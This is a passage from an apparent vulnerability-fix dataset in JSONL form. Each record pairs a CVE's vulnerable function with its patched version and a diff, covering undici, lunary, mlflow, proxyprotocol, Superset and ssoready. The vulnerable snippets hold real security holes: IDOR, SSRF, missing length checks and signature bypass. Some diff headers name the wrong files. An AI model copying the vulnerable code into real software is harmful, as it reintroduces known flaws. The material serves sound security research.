"snippet": "function shouldRemoveHeader (header, removeContent, unknownOrigin) {\n  return (\n    (header.length === 4 && header.toString().toLowerCase() === 'host') ||\n    (removeContent && header.toString().toLowerCase().indexOf('content-') === 0) ||\n    (unknownOrigin && header.length === 13 && header.toString().toLowerCase() === 'authorization')\n  )\n}"}], "fix_func": [{"id": "fix_js_270_1", "commit": "0a5bee9465e627be36bac88edf7d9bbc9626126d", "file_path": "lib/handler/redirect.js", "start_line": 185, "end_line": 192, "snippet": "function shouldRemoveHeader (header, removeContent, unknownOrigin) {\n  return (\n    (header.length === 4 && header.toString().toLowerCase() === 'host') ||\n    (removeContent && header.toString().toLowerCase().indexOf('content-') === 0) ||\n    (unknownOrigin && header.length === 13 && header.toString().toLowerCase() === 'authorization') ||\n    (unknownOrigin && header.length === 6 && header.toString().toLowerCase() === 'cookie')\n  )\n}"}], "vul_patch": "--- a/lib/handler/redirect.js\n+++ b/lib/handler/redirect.js\n@@ -2,6 +2,7 @@\n   return (\n     (header.length === 4 && header.toString().toLowerCase() === 'host') ||\n     (removeContent && header.toString().toLowerCase().indexOf('content-') === 0) ||\n-    (unknownOrigin && header.length === 13 && header.toString().toLowerCase() === 'authorization')\n+    (unknownOrigin && header.length === 13 && header.toString().toLowerCase() === 'authorization') ||\n+    (unknownOrigin && header.length === 6 && header.toString().toLowerCase() === 'cookie')\n   )\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-1625", "cve_description": "An Insecure Direct Object Reference (IDOR) vulnerability exists in the lunary-ai/lunary application version 0.3.0, allowing unauthorized deletion of any organization's project. The vulnerability is due to insufficient authorization checks in the project deletion endpoint, where the endpoint fails to verify if the project ID provided in the request belongs to the requesting user's organization. As a result, an attacker can delete projects belonging to any organization by sending a crafted DELETE request with the target project's ID. This issue affects the project deletion functionality implemented in the projects.delete route.", "cwe_info": {"CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/lunary-ai/lunary", "patch_url": ["https://github.com/lunary-ai/lunary/commit/88f98e29f19da9d1f5de45c5b163fd5b48e0bcec"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_143_1", "commit": "fc959987f3b2cfba25c847ffdba6ac820af154b4", "file_path": "packages/backend/src/api/v1/projects/index.ts", "start_line": 70, "end_line": 89, "snippet": "projects.delete(\"/:projectId\", async (ctx: Context) => {\n  const { projectId } = ctx.params\n  const { orgId } = ctx.state\n\n  const [{ count }] =\n    await sql`select count(*)::int from  project where org_id = ${orgId}`\n\n  if (count > 1) {\n    await sql`delete from project where id = ${projectId}`\n    ctx.status = 200\n  } else {\n    ctx.status = 422\n\n    ctx.body = {\n      error: \"Deletion Failed\",\n      message: \"An organization must have at least one project.\",\n    }\n    return\n  }\n})"}], "fix_func": [{"id": "fix_js_143_1", "commit": "88f98e29f19da9d1f5de45c5b163fd5b48e0bcec", "file_path": "packages/backend/src/api/v1/projects/index.ts", "start_line": 71, "end_line": 103, "snippet": "projects.delete(\"/:projectId\", async (ctx: Context) => {\n  const { projectId } = ctx.params\n  const { orgId, userId } = ctx.state\n  console.log(ctx.state)\n\n  const hasProjectAccess = await verifyProjectAccess(projectId, userId)\n  const [user] = await sql`select * from account where id = ${userId}`\n\n  if (!hasProjectAccess) {\n    ctx.throw(401, \"Not allowed\")\n  }\n\n  if (user.role !== \"admin\") {\n    ctx.throw(403, \"You must be an admin to delete a project\")\n  }\n\n  const [{ count }] =\n    await sql`select count(*)::int from  project where org_id = ${orgId}`\n\n  if (count > 1) {\n    await sql`delete from project where id = ${projectId}`\n    ctx.status = 200\n    ctx.body = {}\n  } else {\n    ctx.status = 422\n\n    ctx.body = {\n      error: \"Deletion Failed\",\n      message: \"An organization must have at least one project.\",\n    }\n    return\n  }\n})"}, {"id": "fix_js_143_2", "commit": "88f98e29f19da9d1f5de45c5b163fd5b48e0bcec", "file_path": "packages/backend/src/utils/authorization.ts", "start_line": 3, "end_line": 13, "snippet": "export async function verifyProjectAccess(projectId: string, userId: string) {\n  const [{ exists: hasAccess }] = await sql`\n      select exists (\n        select 1 \n        from project \n        where org_id = (select org_id from account where id = ${userId}) \n          and id = ${projectId}\n      )\n    `\n  return hasAccess\n}"}], "vul_patch": "--- a/packages/backend/src/api/v1/projects/index.ts\n+++ b/packages/backend/src/api/v1/projects/index.ts\n@@ -1,6 +1,18 @@\n projects.delete(\"/:projectId\", async (ctx: Context) => {\n   const { projectId } = ctx.params\n-  const { orgId } = ctx.state\n+  const { orgId, userId } = ctx.state\n+  console.log(ctx.state)\n+\n+  const hasProjectAccess = await verifyProjectAccess(projectId, userId)\n+  const [user] = await sql`select * from account where id = ${userId}`\n+\n+  if (!hasProjectAccess) {\n+    ctx.throw(401, \"Not allowed\")\n+  }\n+\n+  if (user.role !== \"admin\") {\n+    ctx.throw(403, \"You must be an admin to delete a project\")\n+  }\n \n   const [{ count }] =\n     await sql`select count(*)::int from  project where org_id = ${orgId}`\n@@ -8,6 +20,7 @@\n   if (count > 1) {\n     await sql`delete from project where id = ${projectId}`\n     ctx.status = 200\n+    ctx.body = {}\n   } else {\n     ctx.status = 422\n \n\n--- /dev/null\n+++ b/packages/backend/src/api/v1/projects/index.ts\n@@ -0,0 +1,11 @@\n+export async function verifyProjectAccess(projectId: string, userId: string) {\n+  const [{ exists: hasAccess }] = await sql`\n+      select exists (\n+        select 1 \n+        from project \n+        where org_id = (select org_id from account where id = ${userId}) \n+          and id = ${projectId}\n+      )\n+    `\n+  return hasAccess\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-6974", "cve_description": "A malicious user could use this issue to access internal HTTP(s) servers and in the worst case (ie: aws instance) it could be abuse to get a remote code execution on the victim machine.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/mlflow/mlflow", "patch_url": ["https://github.com/mlflow/mlflow/commit/8174250f83352a04c2d42079f414759060458555"], "programing_language": "Python", "vul_func": [{"id": "vul_py_260_1", "commit": "65cfc3c", "file_path": "mlflow/utils/request_utils.py", "start_line": 160, "end_line": 190, "snippet": "def _get_http_response_with_retries(\n    method,\n    url,\n    max_retries,\n    backoff_factor,\n    backoff_jitter,\n    retry_codes,\n    raise_on_status=True,\n    **kwargs,\n):\n    \"\"\"\n    Performs an HTTP request using Python's `requests` module with an automatic retry policy.\n\n    :param method: a string indicating the method to use, e.g. \"GET\", \"POST\", \"PUT\".\n    :param url: the target URL address for the HTTP request.\n    :param max_retries: Maximum total number of retries.\n    :param backoff_factor: a time factor for exponential backoff. e.g. value 5 means the HTTP\n      request will be retried with interval 5, 10, 20... seconds. A value of 0 turns off the\n      exponential backoff.\n    :param backoff_jitter: A random jitter to add to the backoff interval.\n    :param retry_codes: a list of HTTP response error codes that qualifies for retry.\n    :param raise_on_status: whether to raise an exception, or return a response, if status falls\n      in retry_codes range and retries have been exhausted.\n    :param kwargs: Additional keyword arguments to pass to `requests.Session.request()`\n\n    :return: requests.Response object.\n    \"\"\"\n    session = _get_request_session(\n        max_retries, backoff_factor, backoff_jitter, retry_codes, raise_on_status\n    )\n    return session.request(method, url, **kwargs)"}], "fix_func": [{"id": "fix_py_260_1", "commit": "8174250", "file_path": "mlflow/utils/request_utils.py", "start_line": 160, "end_line": 197, "snippet": "def _get_http_response_with_retries(\n    method,\n    url,\n    max_retries,\n    backoff_factor,\n    backoff_jitter,\n    retry_codes,\n    raise_on_status=True,\n    allow_redirects=None,\n    **kwargs,\n):\n    \"\"\"\n    Performs an HTTP request using Python's `requests` module with an automatic retry policy.\n\n    :param method: a string indicating the method to use, e.g. \"GET\", \"POST\", \"PUT\".\n    :param url: the target URL address for the HTTP request.\n    :param max_retries: Maximum total number of retries.\n    :param backoff_factor: a time factor for exponential backoff. e.g. value 5 means the HTTP\n      request will be retried with interval 5, 10, 20... seconds. A value of 0 turns off the\n      exponential backoff.\n    :param backoff_jitter: A random jitter to add to the backoff interval.\n    :param retry_codes: a list of HTTP response error codes that qualifies for retry.\n    :param raise_on_status: whether to raise an exception, or return a response, if status falls\n      in retry_codes range and retries have been exhausted.\n    :param kwargs: Additional keyword arguments to pass to `requests.Session.request()`\n\n    :return: requests.Response object.\n    \"\"\"\n    session = _get_request_session(\n        max_retries, backoff_factor, backoff_jitter, retry_codes, raise_on_status\n    )\n\n    # the environment variable is hardcoded here to avoid importing mlflow.\n    # however, documentation is available in environment_variables.py\n    env_value = os.getenv(\"MLFLOW_ALLOW_HTTP_REDIRECTS\", \"true\").lower() in [\"true\", \"1\"]\n    allow_redirects = env_value if allow_redirects is None else allow_redirects\n\n    return session.request(method, url, allow_redirects=allow_redirects, **kwargs)"}, {"id": "fix_py_260_2", "commit": "8174250", "file_path": "mlflow/environment_variables.py", "start_line": 501, "end_line": 501, "snippet": "MLFLOW_ALLOW_HTTP_REDIRECTS = _BooleanEnvironmentVariable(\"MLFLOW_ALLOW_HTTP_REDIRECTS\", True)"}], "vul_patch": "--- a/mlflow/utils/request_utils.py\n+++ b/mlflow/utils/request_utils.py\n@@ -6,6 +6,7 @@\n     backoff_jitter,\n     retry_codes,\n     raise_on_status=True,\n+    allow_redirects=None,\n     **kwargs,\n ):\n     \"\"\"\n@@ -28,4 +29,10 @@\n     session = _get_request_session(\n         max_retries, backoff_factor, backoff_jitter, retry_codes, raise_on_status\n     )\n-    return session.request(method, url, **kwargs)\n+\n+    # the environment variable is hardcoded here to avoid importing mlflow.\n+    # however, documentation is available in environment_variables.py\n+    env_value = os.getenv(\"MLFLOW_ALLOW_HTTP_REDIRECTS\", \"true\").lower() in [\"true\", \"1\"]\n+    allow_redirects = env_value if allow_redirects is None else allow_redirects\n+\n+    return session.request(method, url, allow_redirects=allow_redirects, **kwargs)\n\n--- /dev/null\n+++ b/mlflow/utils/request_utils.py\n@@ -0,0 +1 @@\n+MLFLOW_ALLOW_HTTP_REDIRECTS = _BooleanEnvironmentVariable(\"MLFLOW_ALLOW_HTTP_REDIRECTS\", True)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-14243", "cve_description": "headerv2.go in mastercactapus proxyprotocol before 0.0.2, as used in the mastercactapus caddy-proxyprotocol plugin through 0.0.2 for Caddy, allows remote attackers to cause a denial of service (webserver panic and daemon crash) via a crafted HAProxy PROXY v2 request with truncated source/destination address data.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/mastercactapus/proxyprotocol", "patch_url": ["https://github.com/mastercactapus/proxyprotocol/commit/5c4a101121fc3e868026189c7a73f7f19eef90ac"], "programing_language": "Go", "vul_func": [{"id": "vul_go_181_1", "commit": "18c1c89", "file_path": "headerv2.go", "start_line": 27, "end_line": 138, "snippet": "func parseV2(r *bufio.Reader) (*HeaderV2, error) {\n\tbuf := make([]byte, 232)\n\tn, err := io.ReadFull(r, buf[:16])\n\tif err != nil {\n\t\treturn nil, &InvalidHeaderErr{Read: buf[:n], error: err}\n\t}\n\tvar rawHdr rawV2\n\terr = binary.Read(bytes.NewReader(buf), binary.BigEndian, &rawHdr)\n\tif err != nil {\n\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: err}\n\t}\n\tif !bytes.Equal(rawHdr.Sig[:], sigV2) {\n\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid signature\")}\n\t}\n\t// highest 4 indicate version\n\tif (rawHdr.VerCmd >> 4) != 2 {\n\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid v2 version value\")}\n\t}\n\tvar h HeaderV2\n\t// lowest 4 = command (0xf == 0b00001111)\n\th.Command = Cmd(rawHdr.VerCmd & 0xf)\n\tif h.Command > CmdProxy {\n\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid v2 command\")}\n\t}\n\n\t// highest 4 indicate address family\n\tif (rawHdr.FamProto >> 4) > 3 {\n\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid v2 address family\")}\n\t}\n\n\t// lowest 4 = transport protocol (0xf == 0b00001111)\n\tif (rawHdr.FamProto & 0xf) > 2 {\n\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid v2 transport protocol\")}\n\t}\n\n\tif 16+int(rawHdr.Len) > len(buf) {\n\t\tnewBuf := make([]byte, 16+int(rawHdr.Len))\n\t\tcopy(newBuf, buf[:16])\n\t\tbuf = newBuf\n\t} else {\n\t\tbuf = buf[:16+int(rawHdr.Len)]\n\t}\n\n\tn, err = io.ReadFull(r, buf[16:])\n\tif err != nil {\n\t\treturn nil, &InvalidHeaderErr{Read: buf[:16+n], error: err}\n\t}\n\n\tif h.Command == CmdLocal {\n\t\t// ignore address information for local\n\t\treturn &h, nil\n\t}\n\n\tswitch rawHdr.FamProto {\n\tcase 0x11: // TCP over IPv4\n\t\th.Src = &net.TCPAddr{\n\t\t\tIP:   net.IP(buf[16:20]),\n\t\t\tPort: int(binary.BigEndian.Uint16(buf[24:])),\n\t\t}\n\t\th.Dest = &net.TCPAddr{\n\t\t\tIP:   net.IP(buf[20:24]),\n\t\t\tPort: int(binary.BigEndian.Uint16(buf[26:])),\n\t\t}\n\tcase 0x12: // UDP over IPv4\n\t\th.Src = &net.UDPAddr{\n\t\t\tIP:   net.IP(buf[16:20]),\n\t\t\tPort: int(binary.BigEndian.Uint16(buf[24:])),\n\t\t}\n\t\th.Dest = &net.UDPAddr{\n\t\t\tIP:   net.IP(buf[20:24]),\n\t\t\tPort: int(binary.BigEndian.Uint16(buf[26:])),\n\t\t}\n\tcase 0x21: // TCP over IPv6\n\t\th.Src = &net.TCPAddr{\n\t\t\tIP:   net.IP(buf[16:32]),\n\t\t\tPort: int(binary.BigEndian.Uint16(buf[48:])),\n\t\t}\n\t\th.Dest = &net.TCPAddr{\n\t\t\tIP:   net.IP(buf[32:48]),\n\t\t\tPort: int(binary.BigEndian.Uint16(buf[50:])),\n\t\t}\n\tcase 0x22: // UDP over IPv6\n\t\th.Src = &net.UDPAddr{\n\t\t\tIP:   net.IP(buf[16:32]),\n\t\t\tPort: int(binary.BigEndian.Uint16(buf[48:])),\n\t\t}\n\t\th.Dest = &net.UDPAddr{\n\t\t\tIP:   net.IP(buf[32:48]),\n\t\t\tPort: int(binary.BigEndian.Uint16(buf[50:])),\n\t\t}\n\tcase 0x31: // UNIX stream\n\t\th.Src = &net.UnixAddr{\n\t\t\tNet:  \"unix\",\n\t\t\tName: strings.TrimRight(string(buf[16:124]), \"\\x00\"),\n\t\t}\n\t\th.Dest = &net.UnixAddr{\n\t\t\tNet:  \"unix\",\n\t\t\tName: strings.TrimRight(string(buf[124:232]), \"\\x00\"),\n\t\t}\n\tcase 0x32: // UNIX datagram\n\t\th.Src = &net.UnixAddr{\n\t\t\tNet:  \"unixgram\",\n\t\t\tName: strings.TrimRight(string(buf[16:124]), \"\\x00\"),\n\t\t}\n\t\th.Dest = &net.UnixAddr{\n\t\t\tNet:  \"unixgram\",\n\t\t\tName: strings.TrimRight(string(buf[124:232]), \"\\x00\"),\n\t\t}\n\t}\n\n\treturn &h, nil\n}"}], "fix_func": [{"id": "fix_go_181_1", "commit": "5c4a101", "file_path": "headerv2.go", "start_line": 27, "end_line": 149, "snippet": "func parseV2(r *bufio.Reader) (*HeaderV2, error) {\n\tbuf := make([]byte, 232)\n\tn, err := io.ReadFull(r, buf[:16])\n\tif err != nil {\n\t\treturn nil, &InvalidHeaderErr{Read: buf[:n], error: err}\n\t}\n\tvar rawHdr rawV2\n\terr = binary.Read(bytes.NewReader(buf), binary.BigEndian, &rawHdr)\n\tif err != nil {\n\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: err}\n\t}\n\tif !bytes.Equal(rawHdr.Sig[:], sigV2) {\n\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid signature\")}\n\t}\n\t// highest 4 indicate version\n\tif (rawHdr.VerCmd >> 4) != 2 {\n\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid v2 version value\")}\n\t}\n\tvar h HeaderV2\n\t// lowest 4 = command (0xf == 0b00001111)\n\th.Command = Cmd(rawHdr.VerCmd & 0xf)\n\tif h.Command > CmdProxy {\n\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid v2 command\")}\n\t}\n\n\t// highest 4 indicate address family\n\tswitch rawHdr.FamProto >> 4 {\n\tcase 0: // local\n\t\tif rawHdr.Len != 0 {\n\t\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid length\")}\n\t\t}\n\tcase 1: // ipv4\n\t\tif rawHdr.Len != 12 {\n\t\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid length\")}\n\t\t}\n\tcase 2: // ipv6\n\t\tif rawHdr.Len != 36 {\n\t\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid length\")}\n\t\t}\n\tcase 3: // unix\n\t\tif rawHdr.Len != 216 {\n\t\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid length\")}\n\t\t}\n\tdefault:\n\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid v2 address family\")}\n\t}\n\n\t// lowest 4 = transport protocol (0xf == 0b00001111)\n\tif (rawHdr.FamProto & 0xf) > 2 {\n\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid v2 transport protocol\")}\n\t}\n\n\tbuf = buf[:16+int(rawHdr.Len)]\n\n\tn, err = io.ReadFull(r, buf[16:])\n\tif err != nil {\n\t\treturn nil, &InvalidHeaderErr{Read: buf[:16+n], error: err}\n\t}\n\n\tif h.Command == CmdLocal {\n\t\t// ignore address information for local\n\t\treturn &h, nil\n\t}\n\n\tswitch rawHdr.FamProto {\n\tcase 0x11: // TCP over IPv4\n\t\th.Src = &net.TCPAddr{\n\t\t\tIP:   net.IP(buf[16:20]),\n\t\t\tPort: int(binary.BigEndian.Uint16(buf[24:])),\n\t\t}\n\t\th.Dest = &net.TCPAddr{\n\t\t\tIP:   net.IP(buf[20:24]),\n\t\t\tPort: int(binary.BigEndian.Uint16(buf[26:])),\n\t\t}\n\tcase 0x12: // UDP over IPv4\n\t\th.Src = &net.UDPAddr{\n\t\t\tIP:   net.IP(buf[16:20]),\n\t\t\tPort: int(binary.BigEndian.Uint16(buf[24:])),\n\t\t}\n\t\th.Dest = &net.UDPAddr{\n\t\t\tIP:   net.IP(buf[20:24]),\n\t\t\tPort: int(binary.BigEndian.Uint16(buf[26:])),\n\t\t}\n\tcase 0x21: // TCP over IPv6\n\t\th.Src = &net.TCPAddr{\n\t\t\tIP:   net.IP(buf[16:32]),\n\t\t\tPort: int(binary.BigEndian.Uint16(buf[48:])),\n\t\t}\n\t\th.Dest = &net.TCPAddr{\n\t\t\tIP:   net.IP(buf[32:48]),\n\t\t\tPort: int(binary.BigEndian.Uint16(buf[50:])),\n\t\t}\n\tcase 0x22: // UDP over IPv6\n\t\th.Src = &net.UDPAddr{\n\t\t\tIP:   net.IP(buf[16:32]),\n\t\t\tPort: int(binary.BigEndian.Uint16(buf[48:])),\n\t\t}\n\t\th.Dest = &net.UDPAddr{\n\t\t\tIP:   net.IP(buf[32:48]),\n\t\t\tPort: int(binary.BigEndian.Uint16(buf[50:])),\n\t\t}\n\tcase 0x31: // UNIX stream\n\t\th.Src = &net.UnixAddr{\n\t\t\tNet:  \"unix\",\n\t\t\tName: strings.TrimRight(string(buf[16:124]), \"\\x00\"),\n\t\t}\n\t\th.Dest = &net.UnixAddr{\n\t\t\tNet:  \"unix\",\n\t\t\tName: strings.TrimRight(string(buf[124:232]), \"\\x00\"),\n\t\t}\n\tcase 0x32: // UNIX datagram\n\t\th.Src = &net.UnixAddr{\n\t\t\tNet:  \"unixgram\",\n\t\t\tName: strings.TrimRight(string(buf[16:124]), \"\\x00\"),\n\t\t}\n\t\th.Dest = &net.UnixAddr{\n\t\t\tNet:  \"unixgram\",\n\t\t\tName: strings.TrimRight(string(buf[124:232]), \"\\x00\"),\n\t\t}\n\t}\n\n\treturn &h, nil\n}"}], "vul_patch": "--- a/headerv2.go\n+++ b/headerv2.go\n@@ -24,7 +24,24 @@\n \t}\n \n \t// highest 4 indicate address family\n-\tif (rawHdr.FamProto >> 4) > 3 {\n+\tswitch rawHdr.FamProto >> 4 {\n+\tcase 0: // local\n+\t\tif rawHdr.Len != 0 {\n+\t\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid length\")}\n+\t\t}\n+\tcase 1: // ipv4\n+\t\tif rawHdr.Len != 12 {\n+\t\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid length\")}\n+\t\t}\n+\tcase 2: // ipv6\n+\t\tif rawHdr.Len != 36 {\n+\t\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid length\")}\n+\t\t}\n+\tcase 3: // unix\n+\t\tif rawHdr.Len != 216 {\n+\t\t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid length\")}\n+\t\t}\n+\tdefault:\n \t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid v2 address family\")}\n \t}\n \n@@ -33,13 +50,7 @@\n \t\treturn nil, &InvalidHeaderErr{Read: buf[:16], error: errors.New(\"invalid v2 transport protocol\")}\n \t}\n \n-\tif 16+int(rawHdr.Len) > len(buf) {\n-\t\tnewBuf := make([]byte, 16+int(rawHdr.Len))\n-\t\tcopy(newBuf, buf[:16])\n-\t\tbuf = newBuf\n-\t} else {\n-\t\tbuf = buf[:16+int(rawHdr.Len)]\n-\t}\n+\tbuf = buf[:16+int(rawHdr.Len)]\n \n \tn, err = io.ReadFull(r, buf[16:])\n \tif err != nil {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-53949", "cve_description": "Improper Authorization vulnerability in Apache Superset when\u00a0FAB_ADD_SECURITY_API is enabled (disabled by default). Allows for lower privilege users to use this API.\n\n\u00a0issue affects Apache Superset: from 2.0.0 before 4.1.0.\n\nUsers are recommended to upgrade to version 4.1.0, which fixes the issue.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/apache/superset", "patch_url": ["https://github.com/apache/superset/commit/7650c47e72f28559e91524f5d68d50c2060df4c7"], "programing_language": "Python", "vul_func": [{"id": "vul_py_323_1", "commit": "1818054", "file_path": "superset/security/manager.py", "start_line": 226, "end_line": 241, "snippet": "    ADMIN_ONLY_VIEW_MENUS = {\n        \"Access Requests\",\n        \"Action Log\",\n        \"Log\",\n        \"List Users\",\n        \"List Roles\",\n        \"ResetPasswordView\",\n        \"RoleModelView\",\n        \"Row Level Security\",\n        \"Row Level Security Filters\",\n        \"RowLevelSecurityFiltersModelView\",\n        \"Security\",\n        \"SQL Lab\",\n        \"User Registrations\",\n        \"User's Statistics\",\n    } | USER_MODEL_VIEWS"}], "fix_func": [{"id": "fix_py_323_1", "commit": "7650c47e72f28559e91524f5d68d50c2060df4c7", "file_path": "superset/security/manager.py", "start_line": 226, "end_line": 247, "snippet": "    ADMIN_ONLY_VIEW_MENUS = {\n        \"Access Requests\",\n        \"Action Log\",\n        \"Log\",\n        \"List Users\",\n        \"List Roles\",\n        \"ResetPasswordView\",\n        \"RoleModelView\",\n        \"Row Level Security\",\n        \"Row Level Security Filters\",\n        \"RowLevelSecurityFiltersModelView\",\n        \"Security\",\n        \"SQL Lab\",\n        \"User Registrations\",\n        \"User's Statistics\",\n        # Guarding all AB_ADD_SECURITY_API = True REST APIs\n        \"Role\",\n        \"Permission\",\n        \"PermissionViewMenu\",\n        \"ViewMenu\",\n        \"User\",\n    } | USER_MODEL_VIEWS"}], "vul_patch": "--- a/superset/security/manager.py\n+++ b/superset/security/manager.py\n@@ -13,4 +13,10 @@\n         \"SQL Lab\",\n         \"User Registrations\",\n         \"User's Statistics\",\n+        # Guarding all AB_ADD_SECURITY_API = True REST APIs\n+        \"Role\",\n+        \"Permission\",\n+        \"PermissionViewMenu\",\n+        \"ViewMenu\",\n+        \"User\",\n     } | USER_MODEL_VIEWS\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-47832", "cve_description": "ssoready is a single sign on provider implemented via docker. Affected versions are vulnerable to XML signature bypass attacks. An attacker can carry out signature bypass if you have access to certain IDP-signed messages. The underlying mechanism exploits differential behavior between XML parsers. Users of https://ssoready.com, the public hosted instance of SSOReady, are unaffected. We advise folks who self-host SSOReady to upgrade to 7f92a06 or later. Do so by updating your SSOReady Docker images from sha-... to sha-7f92a06. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-347": {"name": "Improper Verification of Cryptographic Signature", "description": "The product does not verify, or incorrectly verifies, the cryptographic signature for data."}}, "repo": "https://github.com/ssoready/ssoready", "patch_url": ["https://github.com/ssoready/ssoready/commit/7f92a0630439972fcbefa8c7eafe8c144bd89915"], "programing_language": "Go", "vul_func": [{"id": "vul_go_287_1", "commit": "b9ea93e1a9b0c3481350831b556ccb256944e39f", "file_path": "internal/saml/dsig/path.go", "start_line": 40, "end_line": 92, "snippet": "func onlyPathHoistNamesInternal(p path, s stack.Stack, n uxml.Node) (uxml.Node, bool) {\n\tif len(p) == 0 {\n\t\tpanic(\"empty path\")\n\t}\n\tif n.Element == nil {\n\t\treturn uxml.Node{}, false\n\t}\n\tif n.Element.Name.URI != p[0].URI || n.Element.Name.Local != p[0].Local {\n\t\treturn uxml.Node{}, false\n\t}\n\n\tnames := map[string]string{}\n\tfor _, a := range n.Element.Attrs {\n\t\tif space, ok := a.Name.Space(); ok {\n\t\t\tnames[space] = a.Value\n\t\t}\n\t}\n\ts.Push(names)\n\tdefer s.Pop()\n\n\tif len(p) == 1 {\n\t\tvar attrs []uxml.Attr\n\t\tfor _, a := range n.Element.Attrs {\n\t\t\tattrs = append(attrs, a)\n\t\t}\n\t\tfor k, v := range s.GetAll() {\n\t\t\tif k == \"\" {\n\t\t\t\tattrs = append(attrs, uxml.Attr{\n\t\t\t\t\tName:  uxml.Name{Local: \"xmlns\"},\n\t\t\t\t\tValue: v,\n\t\t\t\t})\n\t\t\t} else {\n\t\t\t\tattrs = append(attrs, uxml.Attr{\n\t\t\t\t\tName:  uxml.Name{Qual: \"xmlns\", Local: k},\n\t\t\t\t\tValue: v,\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\t\treturn uxml.Node{Element: &uxml.Element{\n\t\t\tName:     n.Element.Name,\n\t\t\tAttrs:    attrs,\n\t\t\tChildren: n.Element.Children,\n\t\t}}, true\n\t}\n\n\tfor _, c := range n.Element.Children {\n\t\tif find, ok := onlyPathHoistNamesInternal(p[1:], s, c); ok {\n\t\t\treturn find, true\n\t\t}\n\t}\n\n\treturn uxml.Node{}, false\n}"}], "fix_func": [{"id": "fix_go_287_1", "commit": "7f92a0630439972fcbefa8c7eafe8c144bd89915", "file_path": "internal/saml/dsig/path.go", "start_line": 40, "end_line": 105, "snippet": "func onlyPathHoistNamesInternal(p path, s stack.Stack, n uxml.Node) (uxml.Node, bool) {\n\tif len(p) == 0 {\n\t\tpanic(\"empty path\")\n\t}\n\tif n.Element == nil {\n\t\treturn uxml.Node{}, false\n\t}\n\tif n.Element.Name.URI != p[0].URI || n.Element.Name.Local != p[0].Local {\n\t\treturn uxml.Node{}, false\n\t}\n\n\tnames := map[string]string{}\n\tfor _, a := range n.Element.Attrs {\n\t\tif space, ok := a.Name.Space(); ok {\n\t\t\tnames[space] = a.Value\n\t\t}\n\t}\n\ts.Push(names)\n\tdefer s.Pop()\n\n\tif len(p) == 1 {\n\t\tvar attrs []uxml.Attr\n\t\tfor _, a := range n.Element.Attrs {\n\t\t\tattrs = append(attrs, a)\n\t\t}\n\t\tfor k, v := range s.GetAll() {\n\t\t\tif k == \"\" {\n\t\t\t\tattrs = append(attrs, uxml.Attr{\n\t\t\t\t\tName:  uxml.Name{Local: \"xmlns\"},\n\t\t\t\t\tValue: v,\n\t\t\t\t})\n\t\t\t} else {\n\t\t\t\tattrs = append(attrs, uxml.Attr{\n\t\t\t\t\tName:  uxml.Name{Qual: \"xmlns\", Local: k},\n\t\t\t\t\tValue: v,\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\t\treturn uxml.Node{Element: &uxml.Element{\n\t\t\tName:     n.Element.Name,\n\t\t\tAttrs:    attrs,\n\t\t\tChildren: n.Element.Children,\n\t\t}}, true\n\t}\n\n\t// if multiple children match the next path segment (p[1]) then refuse to find a match\n\tvar nextSegmentMatch bool\n\tfor _, c := range n.Element.Children {\n\t\tif c.Element != nil && c.Element.Name.URI == p[1].URI && c.Element.Name.Local == p[1].Local {\n\t\t\tif nextSegmentMatch {\n\t\t\t\t// existing match; refuse to proceed\n\t\t\t\treturn uxml.Node{}, false\n\t\t\t}\n\n\t\t\tnextSegmentMatch = true\n\t\t}\n\t}\n\n\tfor _, c := range 